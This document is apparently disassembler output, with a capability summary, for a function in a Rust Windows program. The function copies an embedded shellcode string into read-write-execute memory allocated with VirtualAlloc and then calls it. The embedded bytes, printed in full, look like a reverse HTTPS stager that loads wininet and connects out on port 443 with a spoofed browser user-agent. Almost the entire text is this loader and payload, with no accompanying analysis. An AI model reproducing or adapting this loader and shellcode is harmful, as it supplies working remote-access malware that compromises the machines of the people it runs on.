Function at 0x4015b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
sub rsp, 0x68
mov rax, qword [0x004fec58]
movzx eax, byte [rax]
mov ecx, 0xeae
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x4022e9
mov rsi, rax
movaps xmm0, xmmword [str.__length:_927_bytes___nunsigned_char_buf_____xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xe9x93x00x00x00x5ax48x89xc1x41xb8xbbx01x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx79x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x32xc0x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1xbax1fx00x00x00x6ax00x68x80x33x00x00x49x89xe0x41xb9x04x00x00x00x41xbax75x46x9ex86xffxd5x48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxb3xe9xe4x01x00x00xe8x82xffxffxffx2fx58x45x76x4ax00x1ax0dxf2x7dx27x72xa7x75xaex1cx04x9fx13xb1x42x92xf6x9dxb4x82xf0x46x93x62x8bx0bxa5x15xe5xd8x4axb1xa2x28xf4x17xc9x38x76x78xf4x99xd8x42xc6x94xc0x89x22x33xf9x88xc4x43x07x95xe1x56x0dx3dx2exe4x0bx35xadxc3xc3xd7x9fxd3xa4x03xf3x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x6dx73x6ex20x4fx70x74x69x6dx69x7ax65x64x49x45x38x3bx45x4ex55x53x29x0dx0ax00x6cxcex97xe5xbdxb5x78x62x08x54x5ax55x8ax9dxaex70x8dx86x6bx14xebx2ex80x8fx9exddx2axf7xa8x00xe4x82x59xa6x38xd4x56xaexa9x3cxbex8exe0xcexc6xa8xcfxdex3bx09x64xc9x60x0ax14xcbxe0x9fxb9x8ex73xfdx59xeex5bx35xb2x35x39x67xccxbbx1cx93x9bx71xe1xa2x83xe2xbfxf1x23x2cx32x6cx64xa5x96xdex56x69x6fx39x21xfax65xa0xd2x80x07xb9x28xb1x3axd4xbax6ex1dx3ax6dx37x99xc9x17x1ex60x67x00x55xe9xd4xd8x89x56xfcx97x35x77xd4x44xc4xfexfex12x84x44x29x58x37x8dx9fx74x8ex0ex88xfcx96x30xe9xf8x5fx05x7cxfax92xc4xa9xafx34xe4x0dx41x2bx9cx05xe6x42x34x6fxe0x97x4bxdex63xe5x1cxe3x71x57xe9x1ax44x8ex11x7axf5xb2x0ax57x40xf8x12xb3x15x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x004d1010]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x004d1020]
movups xmmword [rax + 0x20], xmm0
movaps xmm0, xmmword [0x004d1030]
movups xmmword [rax + 0x30], xmm0
movaps xmm0, xmmword [0x004d1040]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [0x004d1050]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [0x004d1060]
movups xmmword [rax + 0x60], xmm0
movaps xmm0, xmmword [0x004d1070]
movups xmmword [rax + 0x70], xmm0
movaps xmm0, xmmword [0x004d1080]
movups xmmword [rax + 0x80], xmm0
movaps xmm0, xmmword [0x004d1090]
movups xmmword [rax + 0x90], xmm0
movaps xmm0, xmmword [0x004d10a0]
movups xmmword [rax + 0xa0], xmm0
movaps xmm0, xmmword [0x004d10b0]
movups xmmword [rax + 0xb0], xmm0
movaps xmm0, xmmword [0x004d10c0]
movups xmmword [rax + 0xc0], xmm0
movaps xmm0, xmmword [0x004d10d0]
movups xmmword [rax + 0xd0], xmm0
movaps xmm0, xmmword [0x004d10e0]
movups xmmword [rax + 0xe0], xmm0
movaps xmm1, xmmword [0x004d10f0]
movups xmmword [rax + 0xf0], xmm1
movaps xmm1, xmmword [0x004d1100]
movups xmmword [rax + 0x100], xmm1
movaps xmm1, xmmword [0x004d1110]
movups xmmword [rax + 0x110], xmm1
movaps xmm1, xmmword [0x004d1120]
movups xmmword [rax + 0x120], xmm1
movaps xmm1, xmmword [0x004d1130]
movups xmmword [rax + 0x130], xmm1
movaps xmm1, xmmword [0x004d1140]
movups xmmword [rax + 0x140], xmm1
movaps xmm1, xmmword [0x004d1150]
movups xmmword [rax + 0x150], xmm1
movaps xmm1, xmmword [0x004d1160]
movups xmmword [rax + 0x160], xmm1
movaps xmm1, xmmword [0x004d1170]
movups xmmword [rax + 0x170], xmm1
movaps xmm1, xmmword [0x004d1180]
movups xmmword [rax + 0x180], xmm1
movaps xmm1, xmmword [0x004d1190]
movups xmmword [rax + 0x190], xmm1
movaps xmm1, xmmword [0x004d11a0]
movups xmmword [rax + 0x1a0], xmm1
movaps xmm1, xmmword [0x004d11b0]
movups xmmword [rax + 0x1b0], xmm1
movaps xmm1, xmmword [0x004d11c0]
movups xmmword [rax + 0x1c0], xmm1
movaps xmm1, xmmword [0x004d11d0]
movups xmmword [rax + 0x1d0], xmm1
movaps xmm1, xmmword [0x004d11e0]
movups xmmword [rax + 0x1e0], xmm1
movaps xmm1, xmmword [0x004d11f0]
movups xmmword [rax + 0x1f0], xmm1
movaps xmm1, xmmword [0x004d1200]
movups xmmword [rax + 0x200], xmm1
movaps xmm1, xmmword [0x004d1210]
movups xmmword [rax + 0x210], xmm1
movups xmmword [rax + 0x220], xmm0
movaps xmm0, xmmword [0x004d1220]
movups xmmword [rax + 0x230], xmm0
movaps xmm0, xmmword [0x004d1230]
movups xmmword [rax + 0x240], xmm0
movaps xmm0, xmmword [0x004d1240]
movups xmmword [rax + 0x250], xmm0
movaps xmm0, xmmword [0x004d1250]
movups xmmword [rax + 0x260], xmm0
movaps xmm0, xmmword [0x004d1260]
movups xmmword [rax + 0x270], xmm0
movaps xmm0, xmmword [0x004d1270]
movups xmmword [rax + 0x280], xmm0
movaps xmm0, xmmword [0x004d1280]
movups xmmword [rax + 0x290], xmm0
movaps xmm0, xmmword [0x004d1290]
movups xmmword [rax + 0x2a0], xmm0
movaps xmm0, xmmword [0x004d12a0]
movups xmmword [rax + 0x2b0], xmm0
movaps xmm0, xmmword [0x004d12b0]
movups xmmword [rax + 0x2c0], xmm0
movaps xmm0, xmmword [0x004d12c0]
movups xmmword [rax + 0x2d0], xmm0
movaps xmm0, xmmword [0x004d12d0]
movups xmmword [rax + 0x2e0], xmm0
movaps xmm0, xmmword [0x004d12e0]
movups xmmword [rax + 0x2f0], xmm0
movaps xmm0, xmmword [0x004d12f0]
movups xmmword [rax + 0x300], xmm0
movaps xmm0, xmmword [0x004d1300]
movups xmmword [rax + 0x310], xmm0
movaps xmm0, xmmword [0x004d1310]
movups xmmword [rax + 0x320], xmm0
movaps xmm0, xmmword [0x004d1320]
movups xmmword [rax + 0x330], xmm0
movaps xmm0, xmmword [0x004d1330]
movups xmmword [rax + 0x340], xmm0
movaps xmm0, xmmword [0x004d1340]
movups xmmword [rax + 0x350], xmm0
movaps xmm0, xmmword [0x004d1350]
movups xmmword [rax + 0x360], xmm0
movaps xmm0, xmmword [0x004d1360]
movups xmmword [rax + 0x370], xmm0
movaps xmm0, xmmword [0x004d1370]
movups xmmword [rax + 0x380], xmm0
movaps xmm0, xmmword [0x004d1380]
movups xmmword [rax + 0x390], xmm0
movaps xmm0, xmmword [0x004d1390]
movups xmmword [rax + 0x3a0], xmm0
movaps xmm0, xmmword [0x004d13a0]
movups xmmword [rax + 0x3b0], xmm0
movaps xmm0, xmmword [0x004d13b0]
movups xmmword [rax + 0x3c0], xmm0
movaps xmm0, xmmword [0x004d13c0]
movups xmmword [rax + 0x3d0], xmm0
movaps xmm0, xmmword [0x004d13d0]
movups xmmword [rax + 0x3e0], xmm0
movaps xmm0, xmmword [0x004d13e0]
movups xmmword [rax + 0x3f0], xmm0
movaps xmm0, xmmword [0x004d13f0]
movups xmmword [rax + 0x400], xmm0
movaps xmm0, xmmword [0x004d1400]
movups xmmword [rax + 0x410], xmm0
movaps xmm0, xmmword [0x004d1410]
movups xmmword [rax + 0x420], xmm0
movaps xmm0, xmmword [0x004d1420]
movups xmmword [rax + 0x430], xmm0
movaps xmm0, xmmword [0x004d1430]
movups xmmword [rax + 0x440], xmm0
movaps xmm0, xmmword [0x004d1440]
movups xmmword [rax + 0x450], xmm0
movaps xmm0, xmmword [0x004d1450]
movups xmmword [rax + 0x460], xmm0
movaps xmm0, xmmword [0x004d1460]
movups xmmword [rax + 0x470], xmm0
movaps xmm0, xmmword [0x004d1470]
movups xmmword [rax + 0x480], xmm0
movaps xmm0, xmmword [0x004d1480]
movups xmmword [rax + 0x490], xmm0
movaps xmm0, xmmword [0x004d1490]
movups xmmword [rax + 0x4a0], xmm0
movaps xmm0, xmmword [0x004d14a0]
movups xmmword [rax + 0x4b0], xmm0
movaps xmm0, xmmword [0x004d14b0]
movups xmmword [rax + 0x4c0], xmm0
movaps xmm0, xmmword [0x004d14c0]
movups xmmword [rax + 0x4d0], xmm0
movaps xmm0, xmmword [0x004d14d0]
movups xmmword [rax + 0x4e0], xmm0
movaps xmm0, xmmword [0x004d14e0]
movups xmmword [rax + 0x4f0], xmm0
movaps xmm0, xmmword [0x004d14f0]
movups xmmword [rax + 0x500], xmm0
movaps xmm0, xmmword [0x004d1500]
movups xmmword [rax + 0x510], xmm0
movaps xmm0, xmmword [0x004d1510]
movups xmmword [rax + 0x520], xmm0
movaps xmm0, xmmword [0x004d1520]
movups xmmword [rax + 0x530], xmm0
movaps xmm0, xmmword [0x004d1530]
movups xmmword [rax + 0x540], xmm0
movaps xmm0, xmmword [0x004d1540]
movups xmmword [rax + 0x550], xmm0
movaps xmm0, xmmword [0x004d1550]
movups xmmword [rax + 0x560], xmm0
movaps xmm0, xmmword [0x004d1560]
movups xmmword [rax + 0x570], xmm0
movaps xmm0, xmmword [0x004d1570]
movups xmmword [rax + 0x580], xmm0
movaps xmm0, xmmword [0x004d1580]
movups xmmword [rax + 0x590], xmm0
movaps xmm0, xmmword [0x004d1590]
movups xmmword [rax + 0x5a0], xmm0
movaps xmm0, xmmword [0x004d15a0]
movups xmmword [rax + 0x5b0], xmm0
movaps xmm0, xmmword [0x004d15b0]
movups xmmword [rax + 0x5c0], xmm0
movaps xmm0, xmmword [0x004d15c0]
movups xmmword [rax + 0x5d0], xmm0
movaps xmm0, xmmword [0x004d15d0]
movups xmmword [rax + 0x5e0], xmm0
movaps xmm0, xmmword [0x004d15e0]
movups xmmword [rax + 0x5f0], xmm0
movaps xmm0, xmmword [0x004d15f0]
movups xmmword [rax + 0x600], xmm0
movaps xmm0, xmmword [0x004d1600]
movups xmmword [rax + 0x610], xmm0
movaps xmm0, xmmword [0x004d1610]
movups xmmword [rax + 0x620], xmm0
movaps xmm0, xmmword [0x004d1620]
movups xmmword [rax + 0x630], xmm0
movaps xmm0, xmmword [0x004d1630]
movups xmmword [rax + 0x640], xmm0
movaps xmm0, xmmword [0x004d1640]
movups xmmword [rax + 0x650], xmm0
movaps xmm0, xmmword [0x004d1650]
movups xmmword [rax + 0x660], xmm0
movaps xmm0, xmmword [0x004d1660]
movups xmmword [rax + 0x670], xmm0
movaps xmm0, xmmword [0x004d1670]
movups xmmword [rax + 0x680], xmm0
movaps xmm0, xmmword [0x004d1680]
movups xmmword [rax + 0x690], xmm0
movaps xmm0, xmmword [0x004d1690]
movups xmmword [rax + 0x6a0], xmm0
movaps xmm0, xmmword [0x004d16a0]
movups xmmword [rax + 0x6b0], xmm0
movaps xmm0, xmmword [0x004d16b0]
movups xmmword [rax + 0x6c0], xmm0
movaps xmm0, xmmword [0x004d16c0]
movups xmmword [rax + 0x6d0], xmm0
movaps xmm0, xmmword [0x004d16d0]
movups xmmword [rax + 0x6e0], xmm0
movaps xmm0, xmmword [0x004d16e0]
movups xmmword [rax + 0x6f0], xmm0
movaps xmm0, xmmword [0x004d16f0]
movups xmmword [rax + 0x700], xmm0
movaps xmm0, xmmword [0x004d1700]
movups xmmword [rax + 0x710], xmm0
movaps xmm0, xmmword [0x004d1710]
movups xmmword [rax + 0x720], xmm0
movaps xmm0, xmmword [0x004d1720]
movups xmmword [rax + 0x730], xmm0
movaps xmm0, xmmword [0x004d1730]
movups xmmword [rax + 0x740], xmm0
movaps xmm0, xmmword [0x004d1740]
movups xmmword [rax + 0x750], xmm0
movaps xmm0, xmmword [0x004d1750]
movups xmmword [rax + 0x760], xmm0
movaps xmm0, xmmword [0x004d1760]
movups xmmword [rax + 0x770], xmm0
movaps xmm0, xmmword [0x004d1770]
movups xmmword [rax + 0x780], xmm0
movaps xmm0, xmmword [0x004d1780]
movups xmmword [rax + 0x790], xmm0
movaps xmm0, xmmword [0x004d1790]
movups xmmword [rax + 0x7a0], xmm0
movaps xmm0, xmmword [0x004d17a0]
movups xmmword [rax + 0x7b0], xmm0
movaps xmm0, xmmword [0x004d17b0]
movups xmmword [rax + 0x7c0], xmm0
movaps xmm0, xmmword [0x004d17c0]
movups xmmword [rax + 0x7d0], xmm0
movaps xmm0, xmmword [0x004d17d0]
movups xmmword [rax + 0x7e0], xmm0
movaps xmm0, xmmword [0x004d17e0]
movups xmmword [rax + 0x7f0], xmm0
movaps xmm0, xmmword [0x004d17f0]
movups xmmword [rax + 0x800], xmm0
movaps xmm0, xmmword [0x004d1800]
movups xmmword [rax + 0x810], xmm0
movaps xmm0, xmmword [0x004d1810]
movups xmmword [rax + 0x820], xmm0
movaps xmm0, xmmword [0x004d1820]
movups xmmword [rax + 0x830], xmm0
movaps xmm0, xmmword [0x004d1830]
movups xmmword [rax + 0x840], xmm0
movaps xmm0, xmmword [0x004d1840]
movups xmmword [rax + 0x850], xmm0
movaps xmm0, xmmword [0x004d1850]
movups xmmword [rax + 0x860], xmm0
movaps xmm0, xmmword [0x004d1860]
movups xmmword [rax + 0x870], xmm0
movaps xmm0, xmmword [0x004d1870]
movups xmmword [rax + 0x880], xmm0
movaps xmm0, xmmword [0x004d1880]
movups xmmword [rax + 0x890], xmm0
movaps xmm0, xmmword [0x004d1890]
movups xmmword [rax + 0x8a0], xmm0
movaps xmm0, xmmword [0x004d18a0]
movups xmmword [rax + 0x8b0], xmm0
movaps xmm0, xmmword [0x004d18b0]
movups xmmword [rax + 0x8c0], xmm0
movaps xmm1, xmmword [0x004d18c0]
movups xmmword [rax + 0x8d0], xmm1
movaps xmm1, xmmword [0x004d18d0]
movups xmmword [rax + 0x8e0], xmm1
movaps xmm1, xmmword [0x004d18e0]
movups xmmword [rax + 0x8f0], xmm1
movups xmmword [rax + 0x900], xmm0
movaps xmm1, xmmword [0x004d18f0]
movups xmmword [rax + 0x910], xmm1
movaps xmm1, xmmword [0x004d1900]
movups xmmword [rax + 0x920], xmm1
movaps xmm1, xmmword [0x004d1910]
movups xmmword [rax + 0x930], xmm1
movaps xmm1, xmmword [0x004d1920]
movups xmmword [rax + 0x940], xmm1
movups xmmword [rax + 0x950], xmm0
movaps xmm0, xmmword [0x004d1930]
movups xmmword [rax + 0x960], xmm0
movaps xmm0, xmmword [0x004d1940]
movups xmmword [rax + 0x970], xmm0
movaps xmm0, xmmword [0x004d1950]
movups xmmword [rax + 0x980], xmm0
movaps xmm0, xmmword [0x004d1960]
movups xmmword [rax + 0x990], xmm0
movaps xmm0, xmmword [0x004d1970]
movups xmmword [rax + 0x9a0], xmm0
movaps xmm0, xmmword [0x004d1980]
movups xmmword [rax + 0x9b0], xmm0
movaps xmm0, xmmword [0x004d1990]
movups xmmword [rax + 0x9c0], xmm0
movaps xmm0, xmmword [0x004d19a0]
movups xmmword [rax + 0x9d0], xmm0
movaps xmm0, xmmword [0x004d19b0]
movups xmmword [rax + 0x9e0], xmm0
movaps xmm0, xmmword [0x004d19c0]
movups xmmword [rax + 0x9f0], xmm0
movaps xmm0, xmmword [0x004d19d0]
movups xmmword [rax + 0xa00], xmm0
movaps xmm0, xmmword [0x004d19e0]
movups xmmword [rax + 0xa10], xmm0
movaps xmm0, xmmword [0x004d19f0]
movups xmmword [rax + 0xa20], xmm0
movaps xmm0, xmmword [0x004d1a00]
movups xmmword [rax + 0xa30], xmm0
movaps xmm0, xmmword [0x004d1a10]
movups xmmword [rax + 0xa40], xmm0
movaps xmm0, xmmword [0x004d1a20]
movups xmmword [rax + 0xa50], xmm0
movaps xmm0, xmmword [0x004d1a30]
movups xmmword [rax + 0xa60], xmm0
movaps xmm0, xmmword [0x004d1a40]
movups xmmword [rax + 0xa70], xmm0
movaps xmm0, xmmword [0x004d1a50]
movups xmmword [rax + 0xa80], xmm0
movaps xmm0, xmmword [0x004d1a60]
movups xmmword [rax + 0xa90], xmm0
movaps xmm0, xmmword [0x004d1a70]
movups xmmword [rax + 0xaa0], xmm0
movaps xmm0, xmmword [0x004d1a80]
movups xmmword [rax + 0xab0], xmm0
movaps xmm0, xmmword [0x004d1a90]
movups xmmword [rax + 0xac0], xmm0
movaps xmm0, xmmword [0x004d1aa0]
movups xmmword [rax + 0xad0], xmm0
movaps xmm0, xmmword [0x004d1ab0]
movups xmmword [rax + 0xae0], xmm0
movaps xmm0, xmmword [0x004d1ac0]
movups xmmword [rax + 0xaf0], xmm0
movaps xmm0, xmmword [0x004d1ad0]
movups xmmword [rax + 0xb00], xmm0
movaps xmm0, xmmword [0x004d1ae0]
movups xmmword [rax + 0xb10], xmm0
movaps xmm0, xmmword [0x004d1af0]
movups xmmword [rax + 0xb20], xmm0
movaps xmm0, xmmword [0x004d1b00]
movups xmmword [rax + 0xb30], xmm0
movaps xmm0, xmmword [0x004d1b10]
movups xmmword [rax + 0xb40], xmm0
movaps xmm0, xmmword [0x004d1b20]
movups xmmword [rax + 0xb50], xmm0
movaps xmm0, xmmword [0x004d1b30]
movups xmmword [rax + 0xb60], xmm0
movaps xmm0, xmmword [0x004d1b40]
movups xmmword [rax + 0xb70], xmm0
movaps xmm0, xmmword [0x004d1b50]
movups xmmword [rax + 0xb80], xmm0
movaps xmm0, xmmword [0x004d1b60]
movups xmmword [rax + 0xb90], xmm0
movaps xmm0, xmmword [0x004d1b70]
movups xmmword [rax + 0xba0], xmm0
movaps xmm0, xmmword [0x004d1b80]
movups xmmword [rax + 0xbb0], xmm0
movaps xmm0, xmmword [0x004d1b90]
movups xmmword [rax + 0xbc0], xmm0
movaps xmm0, xmmword [0x004d1ba0]
movups xmmword [rax + 0xbd0], xmm0
movaps xmm0, xmmword [0x004d1bb0]
movups xmmword [rax + 0xbe0], xmm0
movaps xmm0, xmmword [0x004d1bc0]
movups xmmword [rax + 0xbf0], xmm0
movaps xmm0, xmmword [0x004d1bd0]
movups xmmword [rax + 0xc00], xmm0
movaps xmm0, xmmword [0x004d1be0]
movups xmmword [rax + 0xc10], xmm0
movaps xmm0, xmmword [0x004d1bf0]
movups xmmword [rax + 0xc20], xmm0
movaps xmm0, xmmword [0x004d1c00]
movups xmmword [rax + 0xc30], xmm0
movaps xmm0, xmmword [0x004d1c10]
movups xmmword [rax + 0xc40], xmm0
movaps xmm0, xmmword [0x004d1c20]
movups xmmword [rax + 0xc50], xmm0
movaps xmm0, xmmword [0x004d1c30]
movups xmmword [rax + 0xc60], xmm0
movaps xmm0, xmmword [0x004d1c40]
movups xmmword [rax + 0xc70], xmm0
movaps xmm0, xmmword [0x004d1c50]
movups xmmword [rax + 0xc80], xmm0
movaps xmm0, xmmword [0x004d1c60]
movups xmmword [rax + 0xc90], xmm0
movaps xmm0, xmmword [0x004d1c70]
movups xmmword [rax + 0xca0], xmm0
movaps xmm0, xmmword [0x004d1c80]
movups xmmword [rax + 0xcb0], xmm0
movaps xmm0, xmmword [0x004d1c90]
movups xmmword [rax + 0xcc0], xmm0
movaps xmm0, xmmword [0x004d1ca0]
movups xmmword [rax + 0xcd0], xmm0
movaps xmm0, xmmword [0x004d1cb0]
movups xmmword [rax + 0xce0], xmm0
movaps xmm0, xmmword [0x004d1cc0]
movups xmmword [rax + 0xcf0], xmm0
movaps xmm0, xmmword [0x004d1cd0]
movups xmmword [rax + 0xd00], xmm0
movaps xmm0, xmmword [0x004d1ce0]
movups xmmword [rax + 0xd10], xmm0
movaps xmm0, xmmword [0x004d1cf0]
movups xmmword [rax + 0xd20], xmm0
movaps xmm0, xmmword [0x004d1d00]
movups xmmword [rax + 0xd30], xmm0
movaps xmm0, xmmword [0x004d1d10]
movups xmmword [rax + 0xd40], xmm0
movaps xmm0, xmmword [0x004d1d20]
movups xmmword [rax + 0xd50], xmm0
movaps xmm0, xmmword [0x004d1d30]
movups xmmword [rax + 0xd60], xmm0
movaps xmm0, xmmword [0x004d1d40]
movups xmmword [rax + 0xd70], xmm0
movaps xmm0, xmmword [0x004d1d50]
movups xmmword [rax + 0xd80], xmm0
movaps xmm0, xmmword [0x004d1d60]
movups xmmword [rax + 0xd90], xmm0
movaps xmm0, xmmword [0x004d1d70]
movups xmmword [rax + 0xda0], xmm0
movaps xmm0, xmmword [0x004d1d80]
movups xmmword [rax + 0xdb0], xmm0
movaps xmm0, xmmword [0x004d1d90]
movups xmmword [rax + 0xdc0], xmm0
movaps xmm0, xmmword [0x004d1da0]
movups xmmword [rax + 0xdd0], xmm0
movaps xmm0, xmmword [0x004d1db0]
movups xmmword [rax + 0xde0], xmm0
movaps xmm0, xmmword [0x004d1dc0]
movups xmmword [rax + 0xdf0], xmm0
movaps xmm0, xmmword [0x004d1dd0]
movups xmmword [rax + 0xe00], xmm0
movaps xmm0, xmmword [0x004d1de0]
movups xmmword [rax + 0xe10], xmm0
movaps xmm0, xmmword [0x004d1df0]
movups xmmword [rax + 0xe20], xmm0
movaps xmm0, xmmword [0x004d1e00]
movups xmmword [rax + 0xe30], xmm0
movaps xmm0, xmmword [0x004d1e10]
movups xmmword [rax + 0xe40], xmm0
movaps xmm0, xmmword [0x004d1e20]
movups xmmword [rax + 0xe50], xmm0
movaps xmm0, xmmword [0x004d1e30]
movups xmmword [rax + 0xe60], xmm0
movaps xmm0, xmmword [0x004d1e40]
movups xmmword [rax + 0xe70], xmm0
movaps xmm0, xmmword [0x004d1e50]
movups xmmword [rax + 0xe80], xmm0
movaps xmm0, xmmword [0x004d1e60]
movups xmmword [rax + 0xe90], xmm0
movabs rax, 0x5c3836785c656478
mov qword [rsi + 0xea0], rax
mov dword [rsi + 0xea8], 0x22316278
mov word [rsi + 0xeac], 0xa3b
mov edx, 0xeae
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call sub.kernel32.dll_VirtualAlloc
test rax, rax
je 0x4022f8
mov rdi, rax
mov r8d, 0xeae
mov rcx, rax
mov rdx, rsi
call sym.memcpy
call rdi
mov edx, 0xeae
mov r8d, 1
mov rcx, rsi
add rsp, 0x68
pop rdi
pop rsi
jmp sym.__rust_dealloc
mov ecx, 1
mov edx, 0xeae
call sym.alloc::alloc::handle_alloc_error::h526f0ddc898dc940
call sub.kernel32.dll_GetLastError
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
lea rax, [sym.__windows::Windows::Win32::Foundation::WIN32_ERROR_as_core::fmt::Debug_::fmt::hc97ebf47fbf55a60]
mov qword [rsp + 0x30], rax
lea rax, str.Failed_to_allocate_memory:
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.src_main.rs
lea rcx, [rsp + 0x38]
call sym.core::panicking::panic_fmt::h50bba86df16ca19f
int3